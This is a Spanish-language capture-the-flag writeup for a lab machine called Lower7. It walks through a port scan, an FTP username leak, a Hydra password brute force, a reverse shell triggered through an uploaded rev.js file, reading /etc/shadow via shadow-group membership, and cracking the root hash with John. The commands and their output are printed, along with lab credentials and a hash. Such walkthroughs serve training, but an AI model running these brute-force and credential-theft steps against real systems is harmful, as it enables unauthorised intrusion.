

# lower7

```
      888      888      888 888b  888
      888      888      888 8888b  888
      888      888      888 88888b 888
Y88b  d88P 888 888 888 888Y88b 888 888 888 888 888
Y88b d88P 888 888 888 888 Y88b888 888 888 `Y8bd8P'
Y88o88P 888 888 888 888 Y88888 888 888 X88K
Y888P Y88b 888 888 888 Y8888 Y88b 888 .d8""8b.
Y8P "Y88888 888 888 Y888 "Y88888 888 888
                                     888
                                     Y8b d88P
                                     "Y88P"

VM Name - Lower7
IP Address - 10.10.43.216

lower7 login: a.clark
Password:
a.clark@lower7:~$ su root
Contraseña:
root@lower7:/home/a.clark#
```

Empezamos la máquina

lanzando nuestro script automatizado para encontrar los puertos 21 y 3000

abiertos. Intentamos afinar los servicios y probamos el uso de anonymous en el puerto 21 sin resultao.

## CTF Writeup / Auto-Report: 10.10.43.216

 Fecha de Auditoría: 21-06-2026 17:43:05  Objetivo (Target IP): 10.10.43.216

### 1. Resumen Ejecutivo

Este es un escaneo automatizado de reconocimiento rápido para el entorno CTF.

#### Métricas Clave de la Máquina:

- **Puertos Abiertos Detectados:** 2
- **¿Vulnerabilidades Potenciales?:**  No se detectaron patrones obvios a primera vista
- **Estado del Fuzzing Web:** No ejecutado o sin resultados web relevantes

 **Próximos pasos recomendados:**

1. Revisa la tabla de servicios abajo para buscar versiones obsoletas.

## 2. Puertos y Servicios Detectados

| Puerto   | Estado | Servicio | Versión                      |
|----------|--------|----------|------------------------------|
| 21/tcp   | open   | ftp      | vsftpd 2.0.8 or later        |
| 3000/tcp | open   | http     | Node.js (Express middleware) |

## 3. Análisis de Versiones Detallado

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
3000/tcp  open  http     Node.js (Express middleware)
|\\_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:C9:DC:75 (Oracle VirtualBox virtual NIC)
```

## 4. Auditoría de Vulnerabilidades (Scripts Nmap)

```
PORT      STATE SERVICE
21/tcp    open  ftp
3000/tcp  open  ppp
MAC Address: 08:00:27:C9:DC:75 (Oracle VirtualBox virtual NIC)
```

```

(kali㉿kali)-[~/Escritorio]
$ nc -nv 10.10.43.216 21
(UNKNOWN) [10.10.43.216] 21 (ftp) open
220 "Hello a.clark, Welcome to your FTP server."
ls
530 Please login with USER and PASS.
anonymous
530 Please login with USER and PASS.
^C

(kali㉿kali)-[~/Escritorio]
$ hydra -l a.clark -P /usr/share/wordlists/rockyou.txt ftp://10.10.43.216
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-21 18:
03:49
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1
/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.43.216:21/
[21][ftp] host: 10.10.43.216 login: a.clark password: dragon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-21 18:
04:22

```

Al probar la entrada descubrimos un mensaje con una filtración de nombre de usuario que usamos con Hydra para sacar la contraseña. a.clark y dragon.

Tras unos primeros momentos de investigación uso el comando passive para desactivar el modo pasivo y tener algo más de acceso al servidor.

Después parece claro que habrá que utilizar el puerto 3000 para ejecutar el payload. Creamos

```

(kali㉿kali)-[~/Escritorio]
$ curl -i http://10.10.43.216:3000/rev.js
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 38
ETag: W/"26-A0+jYkuVi2IhtWNfea0/jlmPv9U"
Date: Sun, 21 Jun 2026 17:43:13 GMT
Connection: keep-alive
Keep-Alive: timeout=5
The module does not export a function.

```

un archivo rev.js y lo subimos al servidor, después utilizamos Curl para llamarlo y abrir la shell, tras estabilizar la terminal encontramos el archivo user.txt con la flag.

```
a.clark@lower7:~$ export TERM=xterm
a.clark@lower7:~$ export SHELL=bash
a.clark@lower7:~$ ls
user.txt
a.clark@lower7:~$ cat user.txt
9f903b45d270a2d0b95c68b4f3aac03f
```

Y aquí empezamos la búsqueda para usuario ROOT con nuestro script que creamos con un cat EOF.

```
ve por error." \
> "cat /home/luisillo/.bash_history | tail -n 50"
>
> EOF
a.clark@lower7:~$ chmod +x /tmp/climb4me.sh
a.clark@lower7:~$ ls
user.txt
a.clark@lower7:~$ bash /tmp/climb4me.sh

===== SISTEMA Y USUARIO =====

📖 INFO: Identificamos quién somos y en qué grupos estamos. Grupos como 'dock
er' o 'lxd' permiten ser root fácilmente.
🔍 Ejecutando: whoami && id
a.clark
uid=1000(a.clark) gid=1000(a.clark) grupos=1000(a.clark),42(shadow)

📖 INFO: Buscamos la versión del Kernel. Útil para buscar exploits de DirtyPi
pe o DirtyCow.
🔍 Ejecutando: uname -a
Linux lower7 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-
20) x86_64 GNU/Linux

📖 INFO: Vemos la distribución exacta para saber qué gestor de paquetes usa (
apt, yum...).
🔍 Ejecutando: cat /etc/issue | head -n 1
\e{red}
```

No tenemos sudo y permisos en binarios pero aparece algo raro en el grupo: 42 (shadow)

Con cat podemos extraer el hash del usuario root:

```

a.clark@lower7:~$ cat /etc/sh
shadow shadow- shells
a.clark@lower7:~$ cat /etc/shadow
root:$y$j9T$9VFLJjKZix0Ugj9YsoOCS.$z0FVk.1CCNx/YRzEmwjcz6z4oYqa7YD6QyXd52jxyL
D:20374:0:99999:7:::
daemon*:19676:0:99999:7:::
bin*:19676:0:99999:7:::
sys*:19676:0:99999:7:::
sync*:19676:0:99999:7:::
games*:19676:0:99999:7:::
man*:19676:0:99999:7:::
lp*:19676:0:99999:7:::
mail*:19676:0:99999:7:::
news*:19676:0:99999:7:::
uucp*:19676:0:99999:7:::
proxy*:19676:0:99999:7:::

```

Pasamos el hash un archivo y lo pasamos con john y la wordlist:

```

(kali㉿kali)-[~/Escritorio]
$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hashes_co
mbinados.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descript 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sh
a512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bassman (?)
1g 0:00:01:30 DONE (2026-06-21 20:29) 0.01105g/s 185.7p/s 185.7c/s 185.7C/s i
ce-cream..yenifer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

a.clark@lower7:~$ su root
Contraseña:
root@lower7:/home/a.clark#

```

Somos ROOT:

y tenemos la flag.